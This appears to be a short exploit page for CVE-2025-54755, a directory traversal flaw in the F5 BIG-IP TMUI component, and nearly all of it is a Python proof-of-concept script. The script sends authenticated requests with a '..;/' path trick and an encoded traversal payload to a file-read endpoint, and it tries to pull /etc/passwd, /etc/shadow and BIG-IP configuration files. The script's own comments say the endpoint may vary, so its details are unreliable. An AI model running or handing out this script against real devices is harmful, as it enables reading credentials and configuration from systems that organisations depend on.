CVE-2025-54755：F5 BIG-IP TMUI目录遍历漏洞

# CVE-2025-54755 - F5 BIG-IP TMUI Directory Traversal PoC # Note: This vulnerability requires high-privilege authenticated access (PR:H) # Affected: F5 BIG-IP TMUI component import requests from urllib.parse import quote TARGET_URL = "https://target-bigip-host" AUTH_COOKIE = "BIGIPAuthCookie=YOUR_AUTH_COOKIE_HERE" # Requires high-privilege credentials def directory_traversal(target_file): """ Exploit directory traversal in TMUI to read arbitrary files. The traversal sequence bypasses path restrictions in the file access endpoint. """ # Construct traversal payload to escape the web root traversal_payload = "../../../../../../../../" + target_file encoded_payload = quote(traversal_payload, safe='') # TMUI file access endpoint (example - actual endpoint may vary) endpoint = f"{TARGET_URL}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName={encoded_payload}" headers = { "Cookie": AUTH_COOKIE, "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-54755 PoC)" } try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read file: {target_file}") print(response.text) return response.text else: print(f"[-] Failed to read file: {target_file}, status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Example usage - read sensitive files if __name__ == "__main__": # Attempt to read system files outside the intended directory target_files = [ "etc/passwd", "etc/shadow", "config/bigip.conf", "etc/httpd/conf/httpd.conf" ] for f in target_files: content = directory_traversal(f) if content: break